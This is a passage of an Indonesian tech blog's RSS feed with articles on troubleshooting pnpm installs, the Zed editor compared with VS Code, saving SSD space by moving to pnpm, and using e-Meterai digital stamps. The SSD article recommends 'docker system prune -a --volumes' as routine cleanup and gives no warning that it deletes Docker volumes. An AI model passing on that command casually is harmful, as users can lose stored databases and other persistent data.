<li><code>child-concurrency</code> ≠ download concurrency</li>
</ul>
<hr />
<h1>Solusi yang Benar</h1>
<h2>1. Batasi Parallel Download</h2>
<p>Gunakan:</p>
<pre><code class="language-bash">pnpm install --network-concurrency=1
</code></pre>
<p>atau:</p>
<pre><code class="language-bash">pnpm install --network-concurrency=2
</code></pre>
<p>Ini adalah solusi paling penting.</p>
<p>Karena:</p>
<ul>
<li><p>semakin banyak koneksi paralel</p>
</li>
<li><p>semakin mudah jaringan buruk mengalami packet loss dan timeout</p>
</li>
</ul>
<p>Untuk koneksi tidak stabil:</p>
<ul>
<li>concurrency kecil justru lebih cepat selesai</li>
</ul>
<hr />
<h1>2. Perbesar Retry dan Timeout</h1>
<p>Default timeout kadang terlalu pendek untuk jaringan buruk.</p>
<p>Gunakan:</p>
<pre><code class="language-bash">pnpm install \
  --network-concurrency=1 \
  --fetch-retries=20 \
  --fetch-timeout=600000
</code></pre>
<p>Penjelasan:</p>
<table>
<thead>
<tr>
<th>Parameter</th>
<th>Fungsi</th>
</tr>
</thead>
<tbody><tr>
<td><code>fetch-retries</code></td>
<td>jumlah retry download</td>
</tr>
<tr>
<td><code>fetch-timeout</code></td>
<td>batas timeout download</td>
</tr>
<tr>
<td><code>network-concurrency</code></td>
<td>jumlah koneksi download bersamaan</td>
</tr>
</tbody></table>
<hr />
<h1>3. Gunakan <code>prefer-offline</code></h1>
<pre><code class="language-bash">pnpm install --prefer-offline
</code></pre>
<p>Artinya:</p>
<ul>
<li><p>pnpm akan lebih mengutamakan cache lokal</p>
</li>
<li><p>mengurangi request internet</p>
</li>
</ul>
<p>Sangat membantu jika:</p>
<ul>
<li>package pernah terdownload sebelumnya</li>
</ul>
<hr />
<h1>4. Gunakan Mode Full Offline</h1>
<p>Jika dependency sudah pernah terdownload:</p>
<pre><code class="language-bash">pnpm install --offline
</code></pre>
<p>Keuntungan:</p>
<ul>
<li><p>tidak ada download ulang</p>
</li>
<li><p>install sangat cepat</p>
</li>
<li><p>tidak tergantung internet</p>
</li>
</ul>
<hr />
<h1>5. Gunakan <code>pnpm fetch</code></h1>
<p>Ini adalah fitur yang sering tidak diketahui developer.</p>
<h2>Download dependency terlebih dahulu</h2>
<p>Saat internet bagus:</p>
<pre><code class="language-bash">pnpm fetch
</code></pre>
<p>Ini hanya:</p>
<ul>
<li><p>download package ke store</p>
</li>
<li><p>tanpa install project</p>
</li>
</ul>
<p>Nanti saat internet buruk:</p>
<pre><code class="language-bash">pnpm install --offline
</code></pre>
<p>Strategi ini sangat efektif untuk:</p>
<ul>
<li><p>monorepo besar</p>
</li>
<li><p>CI/CD</p>
</li>
<li><p>project enterprise</p>
</li>
<li><p>koneksi tidak stabil</p>
</li>
</ul>
<hr />
<h1>6. Ganti Registry NPM</h1>
<p>Kadang masalah bukan internet lokal, tetapi routing ke registry npm.</p>
<p>Coba gunakan mirror:</p>
<pre><code class="language-bash">pnpm config set registry https://registry.npmmirror.com
</code></pre>
<p>Atau kembali ke official:</p>
<pre><code class="language-bash">pnpm config set registry https://registry.npmjs.org
</code></pre>
<p>Tes koneksi:</p>
<pre><code class="language-bash">pnpm ping
</code></pre>
<hr />
<h1>7. Gunakan DNS yang Lebih Stabil</h1>
<p>Kadang DNS ISP bermasalah.</p>
<p>Gunakan:</p>
<h2>Cloudflare</h2>
<pre><code class="language-text">1.1.1.1
1.0.0.1
</code></pre>
<h2>Google</h2>
<pre><code class="language-text">8.8.8.8
8.8.4.4
</code></pre>
<hr />
<h1>8. Masalah IPv6</h1>
<p>Beberapa ISP memiliki routing IPv6 buruk.</p>
<p>Akibatnya:</p>
<ul>
<li><p>request npm timeout</p>
</li>
<li><p>koneksi reset</p>
</li>
<li><p>download gagal acak</p>
</li>
</ul>
<p>Coba paksa IPv4:</p>
<h2>Linux / macOS</h2>
<pre><code class="language-bash">export NODE_OPTIONS="--dns-result-order=ipv4first"
</code></pre>
<h2>Windows</h2>
<pre><code class="language-powershell">setx NODE_OPTIONS "--dns-result-order=ipv4first"
</code></pre>
<hr />
<h1>9. Native Module Sering Jadi Penyebab</h1>
<p>Kadang gagal bukan download package, tetapi build native module.</p>
<p>Contoh:</p>
<ul>
<li><p><code>sharp</code></p>
</li>
<li><p><code>prisma</code></p>
</li>
<li><p><code>esbuild</code></p>
</li>
<li><p><code>node-gyp</code></p>
</li>
<li><p><code>better-sqlite3</code></p>
</li>
</ul>
<p>Coba:</p>
<pre><code class="language-bash">pnpm install --ignore-scripts
</code></pre>
<p>Lalu:</p>
<pre><code class="language-bash">pnpm rebuild
</code></pre>
<hr />
<h1>10. Solusi Professional: Local Registry Cache</h1>
<p>Untuk team atau project besar, gunakan:</p>
<p><a href="https://verdaccio.org?utm_source=chatgpt.com">Verdaccio</a></p>
<p>Verdaccio adalah:</p>
<ul>
<li><p>local npm registry</p>
</li>
<li><p>cache package internal</p>
</li>
<li><p>proxy npm</p>
</li>
</ul>
<p>Keuntungan:</p>
<ul>
<li><p>dependency hanya download sekali</p>
</li>
<li><p>install berikutnya lokal</p>
</li>
<li><p>sangat cepat</p>
</li>
<li><p>hemat bandwidth</p>
</li>
<li><p>stabil untuk kantor/tim</p>
</li>
</ul>
<hr />
<h1>Konfigurasi yang Direkomendasikan</h1>
<h2>Untuk Jaringan Tidak Stabil</h2>
<pre><code class="language-bash">pnpm config set network-concurrency 1
pnpm config set fetch-retries 20
pnpm config set fetch-timeout 600000
</code></pre>
<p>Lalu install:</p>
<pre><code class="language-bash">pnpm install --prefer-offline
</code></pre>
<hr />
<h1>Kesimpulan</h1>
<p>Masalah <code>pnpm install</code> berulang bukan selalu karena:</p>
<ul>
<li><p>package rusak</p>
</li>
<li><p>pnpm bermasalah</p>
</li>
<li><p>project error</p>
</li>
</ul>
<p>Sering kali penyebab utamanya:</p>
<ul>
<li><p>jaringan tidak stabil</p>
</li>
<li><p>terlalu banyak parallel connection</p>
</li>
<li><p>DNS/IPv6 bermasalah</p>
</li>
<li><p>registry timeout</p>
</li>
</ul>
<p>Dengan mengurangi <code>network-concurrency</code>, memperbesar retry, dan memanfaatkan cache offline, proses install biasanya menjadi jauh lebih stabil bahkan pada koneksi internet yang buruk.</p>
]]></content:encoded></item><item><title><![CDATA[Zed: Editor Modern untuk Project Besar, Ringan, dan Cepat — Alternatif Serius Pengganti VS Code]]></title><description><![CDATA[Dulu, banyak programmer memilih editor dengan satu patokan utama: “yang penting ringan.”
Lalu datanglah era project modern.
Monorepo. TypeScript ribuan file. AI assistant. Docker. Tailwind. Linting. I]]></description><link>https://tech.finlup.id/zed-editor-modern-untuk-project-besar-ringan-dan-cepat-alternatif-serius-pengganti-vs-code</link><guid isPermaLink="true">https://tech.finlup.id/zed-editor-modern-untuk-project-besar-ringan-dan-cepat-alternatif-serius-pengganti-vs-code</guid><category><![CDATA[Zed]]></category><category><![CDATA[VS Code]]></category><dc:creator><![CDATA[Ariska Hidayat]]></dc:creator><pubDate>Sun, 10 May 2026 13:30:52 GMT</pubDate><enclosure url="https://cdn.hashnode.com/uploads/covers/65e7d8885ce9106b60a0c9e9/4def6fe7-14f2-403a-8190-0a9a95e44d99.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Dulu, banyak programmer memilih editor dengan satu patokan utama: “yang penting ringan.”</p>
<p>Lalu datanglah era project modern.</p>
<p>Monorepo. TypeScript ribuan file. AI assistant. Docker. Tailwind. Linting. Indexing. Extension bertumpuk.</p>
<p>Dan perlahan… editor yang dulu terasa ringan mulai terasa seperti membuka browser dengan 40 tab.</p>
<p>Di titik itu, banyak developer mulai bertanya:</p>
<blockquote>
<p>“Apakah ada editor yang modern, cepat, tapi tetap ringan untuk project besar?”</p>
</blockquote>
<p>Salah satu nama yang mulai sering muncul adalah Zed.</p>
<hr />
<h1>Apa Itu Zed?</h1>
<p>Zed adalah code editor modern yang dibuat oleh mantan tim inti Atom.</p>
<p>Menariknya, mereka tidak sekadar membuat “VS Code versi lain”.</p>
<p>Mereka membangun editor baru dari nol dengan fokus:</p>
<ul>
<li><p>super cepat</p>
</li>
<li><p>ringan</p>
</li>
<li><p>realtime collaboration</p>
</li>
<li><p>AI-native</p>
</li>
<li><p>cocok untuk project besar</p>
</li>
</ul>
<p>Zed ditulis menggunakan bahasa Rust, yang terkenal sangat efisien dalam penggunaan memory dan performa.</p>
<hr />
<h1>Kenapa Banyak Developer Mulai Melirik Zed?</h1>
<h2>1. Startup Sangat Cepat</h2>
<p>Hal pertama yang biasanya terasa:</p>
<blockquote>
<p>Zed itu “snappy”.</p>
</blockquote>
<p>Buka editor → langsung muncul. Cari file → instan. Scroll project besar → tetap halus.</p>
<p>Pada beberapa kasus, Zed terasa jauh lebih responsif dibanding Visual Studio Code, terutama di project yang sangat besar.</p>
<hr />
<h2>2. Ringan Tapi Modern</h2>
<p>Dulu ada dilema:</p>
<ul>
<li><p>editor ringan → fitur minim</p>
</li>
<li><p>editor lengkap → berat</p>
</li>
</ul>
<p>Zed mencoba mengambil tengahnya.</p>
<p>Ia tetap modern:</p>
<ul>
<li><p>AI support</p>
</li>
<li><p>multi cursor</p>
</li>
<li><p>terminal</p>
</li>
<li><p>git integration</p>
</li>
<li><p>collaboration</p>
</li>
<li><p>LSP</p>
</li>
<li><p>syntax modern</p>
</li>
</ul>
<p>Tetapi penggunaan RAM dan CPU sering terasa lebih rendah dibanding VS Code.</p>
<hr />
<h1>Perbandingan Zed vs VS Code</h1>
<table>
<thead>
<tr>
<th>Aspek</th>
<th>Zed</th>
<th>VS Code</th>
</tr>
</thead>
<tbody><tr>
<td>Startup</td>
<td>Sangat cepat</td>
<td>Cepat, tapi lebih berat</td>
</tr>
<tr>
<td>RAM</td>
<td>Lebih hemat</td>
<td>Bisa besar</td>
</tr>
<tr>
<td>Extension</td>
<td>Masih terbatas</td>
<td>Sangat lengkap</td>
</tr>
<tr>
<td>Ekosistem</td>
<td>Baru berkembang</td>
<td>Sangat matang</td>
</tr>
<tr>
<td>AI Integration</td>
<td>Native modern</td>
<td>Banyak extension</td>
</tr>
<tr>
<td>Monorepo Besar</td>
<td>Sangat nyaman</td>
<td>Kadang berat</td>
</tr>
<tr>
<td>Remote Dev</td>
<td>Masih berkembang</td>
<td>Sangat matang</td>
</tr>
<tr>
<td>Stabilitas Plugin</td>
<td>Lebih konsisten</td>
<td>Kadang konflik extension</td>
</tr>
<tr>
<td>Customisasi</td>
<td>Mulai berkembang</td>
<td>Sangat luas</td>
</tr>
</tbody></table>
<hr />
<h1>Kelemahan Zed</h1>
<p>Ini penting dibahas jujur.</p>
<h2>1. Extension Belum Sebanyak VS Code</h2>
<p>Kalau workflow Anda sangat bergantung pada extension tertentu di Visual Studio Code, bisa jadi belum ada penggantinya di Zed.</p>
<p>Contoh:</p>
<ul>
<li><p>extension niche</p>
</li>
<li><p>tooling enterprise tertentu</p>
</li>
<li><p>debugging khusus</p>
</li>
<li><p>integrasi framework langka</p>
</li>
</ul>
<p>VS Code sudah terlalu matang.</p>
<hr />
<h2>2. Ecosystem Masih Bertumbuh</h2>
<p>Karena masih relatif baru:</p>
<ul>
<li><p>dokumentasi belum sebanyak VS Code</p>
</li>
<li><p>tutorial lebih sedikit</p>
</li>
<li><p>komunitas belum sebesar VS Code</p>
</li>
</ul>
<p>Kadang solusi bug belum semudah “copy paste dari StackOverflow”.</p>
<hr />
<h2>3. Tidak Semua Orang Cocok</h2>
<p>Beberapa developer suka VS Code karena:</p>
<ul>
<li><p>sudah hafal workflow</p>
</li>
<li><p>shortcut muscle memory</p>
</li>
<li><p>extension favorit</p>
</li>
<li><p>setting bertahun-tahun</p>
</li>
</ul>
<p>Pindah editor kadang bukan masalah teknis. Tapi masalah kebiasaan.</p>
<hr />
<h1>Di Mana Zed Sangat Terasa Unggul?</h1>
<h2>Project Monorepo Besar</h2>
<p>Misalnya:</p>
<ul>
<li><p>Next.js enterprise</p>
</li>
<li><p>Turborepo</p>
</li>
<li><p>NestJS besar</p>
</li>
<li><p>workspace multi-package</p>
</li>
<li><p>TypeScript ribuan file</p>
</li>
</ul>
<p>Di kondisi seperti ini, Zed sering terasa:</p>
<ul>
<li><p>indexing lebih cepat</p>
</li>
<li><p>search lebih responsif</p>
</li>
<li><p>scrolling lebih ringan</p>
</li>
</ul>
<hr />
<h2>Laptop Spek Menengah</h2>
<p>Banyak developer mengalami ini:</p>
<p>Browser buka banyak. Docker hidup. Database jalan. Android emulator aktif.</p>
<p>Lalu VS Code mulai berat.</p>
<p>Zed bisa menjadi alternatif menarik karena konsumsi resource lebih rendah.</p>
<hr />
<h1>Apakah Zed Bisa Menggantikan VS Code?</h1>
<p>Jawabannya:</p>
<blockquote>
<p>tergantung kebutuhan.</p>
</blockquote>
<h2>Jika Anda:</h2>
<ul>
<li><p>suka performa</p>
</li>
<li><p>project besar</p>
</li>
<li><p>ingin editor modern ringan</p>
</li>
<li><p>tidak terlalu bergantung extension khusus</p>
</li>
</ul>
<p>Maka Zed sangat layak dicoba.</p>
<hr />
<h2>Tapi Jika Anda:</h2>
<ul>
<li><p>memakai extension kompleks</p>
</li>
<li><p>butuh debugging enterprise</p>
</li>
<li><p>remote container intensif</p>
</li>
<li><p>workflow sudah sangat matang di VS Code</p>
</li>
</ul>
<p>Mungkin Visual Studio Code masih lebih aman.</p>
<hr />
<h1>Menariknya, Banyak Developer Kini Memakai Keduanya</h1>
<p>Pola yang mulai sering terjadi:</p>
<ul>
<li><p>Zed → coding harian, cepat, ringan</p>
</li>
<li><p>VS Code → debugging, extension khusus, kebutuhan kompleks</p>
</li>
</ul>
<p>Karena sebenarnya editor bukan soal fanatisme.</p>
<p>Tujuan akhirnya tetap sama:</p>
<blockquote>
<p>fokus menulis kode tanpa terganggu editor.</p>
</blockquote>
<hr />
<h1>Penutup</h1>
<p>Dunia editor mulai berubah.</p>
<p>Dulu kita menerima kenyataan bahwa editor modern pasti berat.</p>
<p>Namun Zed mencoba membuktikan bahwa:</p>
<ul>
<li><p>editor bisa modern</p>
</li>
<li><p>AI-ready</p>
</li>
<li><p>nyaman</p>
</li>
<li><p>sekaligus ringan</p>
</li>
</ul>
<p>Apakah ia akan menggantikan Visual Studio Code sepenuhnya?</p>
<p>Belum tentu.</p>
<p>Tapi satu hal jelas:</p>
<p>Zed bukan lagi “editor eksperimen”. Ia mulai menjadi pilihan serius bagi developer yang bekerja dengan project besar dan ingin pengalaman coding yang cepat, fokus, dan efisien.</p>
]]></content:encoded></item><item><title><![CDATA[Panduan Survival SSD Kecil: Menguasai Storage dan Migrasi ke PNPM]]></title><description><![CDATA[Bagi seorang developer, SSD berkapasitas 121 GB atau 128 GB adalah tantangan besar. Folder node_modules dan cache NPM seringkali menjadi "pembunuh" ruang penyimpanan secara diam-diam. Jika kamu meliha]]></description><link>https://tech.finlup.id/panduan-survival-ssd-kecil-menguasai-storage-dan-migrasi-ke-pnpm</link><guid isPermaLink="true">https://tech.finlup.id/panduan-survival-ssd-kecil-menguasai-storage-dan-migrasi-ke-pnpm</guid><category><![CDATA[ssd]]></category><category><![CDATA[storage]]></category><category><![CDATA[storage limit]]></category><category><![CDATA[pnpm]]></category><dc:creator><![CDATA[Ariska Hidayat]]></dc:creator><pubDate>Sun, 10 May 2026 13:15:47 GMT</pubDate><enclosure url="https://cdn.hashnode.com/uploads/covers/65e7d8885ce9106b60a0c9e9/e141c2da-ee5e-487d-8f6b-e2d81ec1b017.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Bagi seorang developer, SSD berkapasitas 121 GB atau 128 GB adalah tantangan besar. Folder <code>node_modules</code> dan cache NPM seringkali menjadi "pembunuh" ruang penyimpanan secara diam-diam. Jika kamu melihat folder <code>.npm</code> kamu membengkak hingga belasan atau puluhan gigabyte, artikel ini adalah solusi untukmu.</p>
<h2>1. Audit: Menemukan "Pencuri" Ruang Penyimpanan</h2>
<p>Banyak developer tidak menyadari bahwa setiap kali menjalankan <code>npm install</code>, NPM tidak hanya menaruh data di proyekmu, tapi juga menyimpan salinan (cache) di folder sistem.</p>
<ul>
<li><p><strong>Penyebab Utama:</strong> Sub-folder <code>_cacache</code> di dalam folder <code>.npm</code>. Folder ini menyimpan setiap versi paket yang pernah kamu unduh agar bisa digunakan kembali secara offline. Masalahnya, NPM tidak pernah menghapus cache lama secara otomatis.</p>
</li>
<li><p><strong>Solusi Cepat (The First Aid):</strong> Jalankan perintah ini di terminal untuk membuang sampah sejarah download:</p>
</li>
</ul>
<pre><code class="language-bash">npm cache clean --force
</code></pre>
<p><em>Perintah ini aman. NPM hanya akan mengunduh ulang paket dari internet jika dibutuhkan lagi di masa depan.</em></p>
<hr />
<h2>2. Strategi "Hard Cleanup" untuk Developer</h2>
<p>Selain cache, ada area lain yang harus dibersihkan secara berkala agar SSD tetap lega:</p>
<ul>
<li><strong>Gunakan NPX NPKILL:</strong> Jangan hapus <code>node_modules</code> satu per satu secara manual. Gunakan tool praktis ini:</li>
</ul>
<pre><code class="language-bash">npx npkill
</code></pre>
<p>Tool ini akan memindai seluruh folder proyekmu dan mengizinkanmu menghapus folder <code>node_modules</code> yang sudah tidak terpakai hanya dengan satu tombol.</p>
<ul>
<li><strong>Bersihkan Docker:</strong> Jika kamu menggunakan Docker, image dan container lama bisa memakan tempat luar biasa. Gunakan:</li>
</ul>
<pre><code class="language-bash">docker system prune -a --volumes
</code></pre>
<hr />
<h2>3. Solusi Permanen: Migrasi ke PNPM</h2>
<p>Jika NPM adalah penyebab pemborosan disk, maka <strong>pnpm</strong> (<em>Performant NPM</em>) adalah solusinya. pnpm tidak hanya lebih cepat, tapi juga jauh lebih efisien dalam penggunaan ruang penyimpanan.</p>
<h3>Mengapa pnpm Sangat Hemat Tempat?</h3>
<p>NPM tradisional bekerja dengan cara menyalin (<em>copy</em>) paket ke setiap folder proyek. Jika kamu memiliki 10 proyek React, kamu memiliki 10 salinan fisik React di SSD-mu.</p>
<p><strong>pnpm menggunakan metode Content-Addressable Storage:</strong></p>
<ol>
<li><p>pnpm menyimpan semua paket di satu lokasi terpusat di disk kamu (<strong>Global Store</strong>).</p>
</li>
<li><p>Di dalam folder proyekmu, pnpm hanya membuat <strong>Hard Link</strong> (semacam jalan pintas cerdas) yang mengarah ke Global Store tersebut.</p>
</li>
<li><p><strong>Hasilnya:</strong> Jika kamu punya 10 proyek React, pnpm hanya memakan ruang untuk <strong>satu</strong> salinan fisik di seluruh SSD kamu.</p>
</li>
</ol>
<h3>Cara Instalasi Modern (Rekomendasi Node.js)</h3>
<p>Sekarang, Node.js menyertakan fitur bernama <strong>Corepack</strong> untuk mengelola package manager tanpa harus mengandalkan instalasi global via npm. Ini adalah cara yang paling bersih dan profesional:</p>
<ol>
<li><strong>Aktifkan Corepack:</strong></li>
</ol>
<pre><code class="language-bash">corepack enable
</code></pre>
<ol>
<li><strong>Siapkan &amp; Aktifkan pnpm:</strong> Gunakan perintah ini untuk memasang versi pnpm terbaru secara otomatis:</li>
</ol>
<pre><code class="language-bash">corepack prepare pnpm@latest --activate
</code></pre>
<hr />
<h2>4. Hal Penting yang Perlu Diperhatikan (The "Strict" Side)</h2>
<p>Saat pindah ke pnpm, kamu mungkin menemui beberapa perbedaan perilaku. pnpm sangat disiplin, dan ini adalah hal yang baik untuk kualitas kodemu:</p>
<h3>A. Masalah "Phantom Dependencies" (Dependensi Hantu)</h3>
<p>NPM memiliki struktur folder datar (<em>flat</em>). Jika kamu menginstal paket A yang bergantung pada paket B, kamu bisa memanggil paket B di kodemu meski tidak ada di <code>package.json</code>. pnpm melarang ini. Kamu hanya bisa memanggil apa yang kamu instal secara eksplisit.</p>
<ul>
<li><strong>Solusi:</strong> Jika muncul error <em>module not found</em>, cukup instal paket tersebut dengan <code>pnpm add &lt;nama-paket&gt;</code>.</li>
</ul>
<h3>B. Konfirmasi Peer Dependencies</h3>
<p>pnpm sangat ketat soal versi paket yang saling membutuhkan. Jika ada ketidaksinkronan versi antar dependensi, pnpm akan memberikan peringatan atau meminta konfirmasi.</p>
<ul>
<li><strong>Solusi:</strong> Baca log terminal. Biasanya pnpm memberikan saran versi mana yang harus diinstal untuk memperbaiki konflik tersebut.</li>
</ul>
<h3>C. Konfirmasi Eksekusi Script</h3>
<p>Demi keamanan, pnpm terkadang meminta konfirmasi saat sebuah paket ingin menjalankan script instalasi otomatis (<code>postinstall</code>). Jika kamu yakin paket itu aman, cukup berikan izin saat diminta di terminal.</p>
<hr />
<h2>5. Kesimpulan &amp; Rekomendasi Akhir</h2>
<p>Memiliki SSD kecil (121-128 GB) bukan hambatan untuk menjadi developer hebat. Kuncinya adalah manajemen yang cerdas:</p>
<ol>
<li><p><strong>Hapus cache NPM</strong> secara rutin dengan <code>npm cache clean --force</code>.</p>
</li>
<li><p>**Gunakan <code>npkill**</code> sebulan sekali untuk membersihkan proyek lama.</p>
</li>
<li><p><strong>Beralihlah ke pnpm</strong> menggunakan <strong>Corepack</strong> untuk penghematan ruang jangka panjang yang signifikan.</p>
</li>
</ol>
<p>Dengan pnpm, kamu bisa memiliki puluhan proyek tanpa harus khawatir SSD "merah" setiap minggu. Selamat coding dengan storage yang lega!</p>
<p>Hasilnya dari yg hanya sisa 1,59 GB</p>
<img src="https://cdn.hashnode.com/uploads/covers/65e7d8885ce9106b60a0c9e9/a03ed513-6959-4699-8c03-989a9ed5c945.png" alt="" style="display:block;margin:0 auto" />

<p>menjadi sisa 21,17 GB</p>
<img src="https://cdn.hashnode.com/uploads/covers/65e7d8885ce9106b60a0c9e9/4b732b8c-952f-4d0f-a060-081610176f08.png" alt="" style="display:block;margin:0 auto" />]]></content:encoded></item><item><title><![CDATA[E-Meterai untuk Developer: Panduan Lengkap Mengurus Dokumen Digital yang Sah]]></title><description><![CDATA[Artikel ini ditujukan untuk developer yang sering berhadapan dengan dokumen digital seperti kontrak kerja, perjanjian klien, atau NDA — dan perlu memahami cara penggunaan e-Meterai agar dokumen terseb]]></description><link>https://tech.finlup.id/e-meterai-untuk-developer-panduan-lengkap-mengurus-dokumen-digital-yang-sah</link><guid isPermaLink="true">https://tech.finlup.id/e-meterai-untuk-developer-panduan-lengkap-mengurus-dokumen-digital-yang-sah</guid><category><![CDATA[ematerai]]></category><category><![CDATA[Documents]]></category><dc:creator><![CDATA[Ariska Hidayat]]></dc:creator><pubDate>Fri, 08 May 2026 10:44:00 GMT</pubDate><enclosure url="https://cdn.hashnode.com/uploads/covers/65e7d8885ce9106b60a0c9e9/29850fd4-b351-44f2-871e-855da7a2b444.svg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<blockquote>
<p>Artikel ini ditujukan untuk developer yang sering berhadapan dengan dokumen digital seperti kontrak kerja, perjanjian klien, atau NDA — dan perlu memahami cara penggunaan e-Meterai agar dokumen tersebut sah secara hukum.</p>
</blockquote>
<hr />
<h2>Daftar Isi</h2>
<ol>
<li><p><a href="#apa-itu-e-meterai">Apa Itu E-Meterai?</a></p>
</li>
<li><p><a href="#e-meterai-bisa-digunakan-untuk-apa-saja">E-Meterai Bisa Digunakan untuk Apa Saja?</a></p>
</li>
<li><p><a href="#perbedaan-e-meterai-vs-meterai-fisik">Perbedaan E-Meterai vs Meterai Fisik</a></p>
</li>
<li><p><a href="#cara-penggunaan-e-meterai">Cara Penggunaan E-Meterai</a></p>
</li>
<li><p><a href="#hal-hal-yang-harus-diperhatikan">Hal-Hal yang Harus Diperhatikan</a></p>
</li>
</ol>
<hr />
<h2>Apa Itu E-Meterai?</h2>
<p>E-Meterai (Meterai Elektronik) adalah meterai dalam bentuk digital yang memiliki kekuatan hukum setara dengan meterai fisik Rp10.000. E-Meterai dikeluarkan secara resmi oleh <strong>Peruri (Perum Percetakan Uang Republik Indonesia)</strong> dan digunakan khusus untuk dokumen elektronik dalam format <strong>PDF</strong>.</p>
<h3>Dasar Hukum</h3>
<p>E-Meterai diatur dalam <strong>UU No. 10 Tahun 2020 tentang Bea Meterai</strong> yang secara resmi mengakui meterai elektronik sebagai pengganti sah meterai fisik untuk dokumen digital. Penggunaan e-Meterai yang tidak sesuai ketentuan dapat membuat dokumen lemah secara hukum.</p>
<h3>Cara Kerja Singkat</h3>
<p>Saat dibubuhkan pada dokumen PDF, e-Meterai akan:</p>
<ul>
<li><p>Menanamkan <strong>kode unik</strong> dan <strong>tanda tangan digital</strong> dari Peruri</p>
</li>
<li><p>Menghasilkan <strong>QR code</strong> yang bisa diverifikasi oleh siapapun</p>
</li>
<li><p>Mencatat identitas pembubuh beserta waktu pembubuhan secara permanen</p>
</li>
</ul>
<hr />
<h2>E-Meterai Bisa Digunakan untuk Apa Saja?</h2>
<p>Berdasarkan UU No. 10 Tahun 2020, dokumen elektronik yang <strong>wajib</strong> menggunakan meterai antara lain:</p>
<h3>Dokumen Perjanjian</h3>
<ul>
<li><p>Kontrak kerja (PKWT, PKWTT)</p>
</li>
<li><p>Perjanjian kerja sama bisnis</p>
</li>
<li><p>Perjanjian freelance / vendor</p>
</li>
<li><p>Non-Disclosure Agreement (NDA)</p>
</li>
<li><p>Service Level Agreement (SLA)</p>
</li>
</ul>
<h3>Dokumen Keuangan</h3>
<ul>
<li><p>Surat pernyataan utang piutang</p>
</li>
<li><p>Kuitansi atau bukti pembayaran di atas <strong>Rp5.000.000</strong></p>
</li>
<li><p>Dokumen akuisisi atau investasi</p>
</li>
</ul>
<h3>Dokumen Pernyataan</h3>
<ul>
<li><p>Surat pernyataan bermeterai</p>
</li>
<li><p>Dokumen pengakuan hak</p>
</li>
<li><p>Surat kuasa</p>
</li>
</ul>
<h3>Catatan Penting</h3>
<blockquote>
<p>Dokumen dengan nilai transaksi <strong>di atas Rp5.000.000</strong> wajib menggunakan meterai. Di bawah nominal tersebut, penggunaan meterai bersifat opsional namun tetap disarankan untuk perlindungan hukum.</p>
</blockquote>
<hr />
<h2>Perbedaan E-Meterai vs Meterai Fisik</h2>
<table>
<thead>
<tr>
<th>Aspek</th>
<th>Meterai Fisik</th>
<th>E-Meterai</th>
</tr>
</thead>
<tbody><tr>
<td><strong>Bentuk</strong></td>
<td>Kertas/stiker tempel</td>
<td>File digital (tertanam di PDF)</td>
</tr>
<tr>
<td><strong>Dokumen</strong></td>
<td>Dokumen cetak (kertas)</td>
<td>Dokumen elektronik (PDF)</td>
</tr>
<tr>
<td><strong>Cara beli</strong></td>
<td>Kantor pos, minimarket</td>
<td>Portal e-meterai.co.id</td>
</tr>
<tr>
<td><strong>Harga</strong></td>
<td>Rp10.000</td>
<td>Rp10.000</td>
</tr>
<tr>
<td><strong>Verifikasi</strong></td>
<td>Visual / fisik</td>
<td>QR code (online)</td>
</tr>
<tr>
<td><strong>Risiko pemalsuan</strong></td>
<td>Lebih rentan</td>
<td>Lebih aman (kode unik Peruri)</td>
</tr>
<tr>
<td><strong>Proses</strong></td>
<td>Tempel + tanda tangan di atas meterai</td>
<td>Upload PDF → bubuhkan → masukkan PIN</td>
</tr>
<tr>
<td><strong>Kekuatan hukum</strong></td>
<td>Sah</td>
<td>Sah (setara)</td>
</tr>
</tbody></table>
<hr />
<h2>Cara Penggunaan E-Meterai</h2>
<p>Berikut alur lengkap dari awal hingga dokumen siap dikirim:</p>
<h3>Langkah 1 — Daftar &amp; Beli Kuota</h3>
<ol>
<li><p>Kunjungi <a href="https://e-meterai.co.id"><strong>e-meterai.co.id</strong></a></p>
</li>
<li><p>Daftar akun menggunakan email aktif</p>
</li>
<li><p>Verifikasi identitas (NIK / KTP)</p>
</li>
<li><p>Beli kuota e-Meterai (Rp10.000/keping) via transfer bank atau e-wallet</p>
</li>
<li><p>Buat <strong>PIN</strong> — ini digunakan setiap kali membubuhkan meterai</p>
</li>
</ol>
<h3>Langkah 2 — Siapkan Dokumen PDF</h3>
<blockquote>
<p>⚠️ <strong>Pastikan dokumen sudah final</strong> sebelum diberi meterai. Setelah e-Meterai ditempelkan, dokumen tidak boleh diubah lagi.</p>
</blockquote>
<ul>
<li><p>Dokumen harus berformat <strong>PDF</strong></p>
</li>
<li><p>Pastikan semua isi sudah disetujui oleh semua pihak</p>
</li>
<li><p><strong>Tanda tangan harus dilakukan terlebih dahulu</strong> sebelum bubuhkan e-Meterai</p>
</li>
</ul>
<h3>Langkah 3 — Tambahkan Tanda Tangan Digital</h3>
<p>Jika belum ada tanda tangan, tambahkan terlebih dahulu menggunakan salah satu metode:</p>
<table>
<thead>
<tr>
<th>Metode</th>
<th>Tools</th>
</tr>
</thead>
<tbody><tr>
<td>Tanda tangan elektronik tersertifikasi</td>
<td>PrivyID, VIDA, Peruri Sign</td>
</tr>
<tr>
<td>Tanda tangan via browser (mudah &amp; gratis)</td>
<td><a href="https://dochub.com"><strong>DocHub</strong></a> ⭐ Direkomendasikan</td>
</tr>
<tr>
<td>Tanda tangan via PDF desktop</td>
<td>Adobe Acrobat, Foxit PDF</td>
</tr>
<tr>
<td>Gambar tanda tangan (scan/foto)</td>
<td>Disisipkan manual ke PDF</td>
</tr>
</tbody></table>
<h4>Cara Tanda Tangan Menggunakan DocHub</h4>
<p>DocHub adalah platform berbasis web yang memudahkan proses tanda tangan dokumen PDF tanpa perlu install software apapun. Cocok untuk developer yang ingin proses cepat dan simpel.</p>
<ol>
<li><p>Kunjungi <a href="https://dochub.com"><strong>dochub.com</strong></a> dan login (bisa pakai akun Google)</p>
</li>
<li><p>Upload file PDF perjanjian kamu</p>
</li>
<li><p>Pilih tool <strong>Sign</strong> → buat tanda tangan (gambar langsung, upload gambar, atau ketik nama)</p>
</li>
<li><p>Letakkan tanda tangan di posisi yang sesuai pada dokumen</p>
</li>
<li><p>Download PDF yang sudah ditandatangani</p>
</li>
<li><p>Lanjut ke proses pembubuhan e-Meterai</p>
</li>
</ol>
<blockquote>
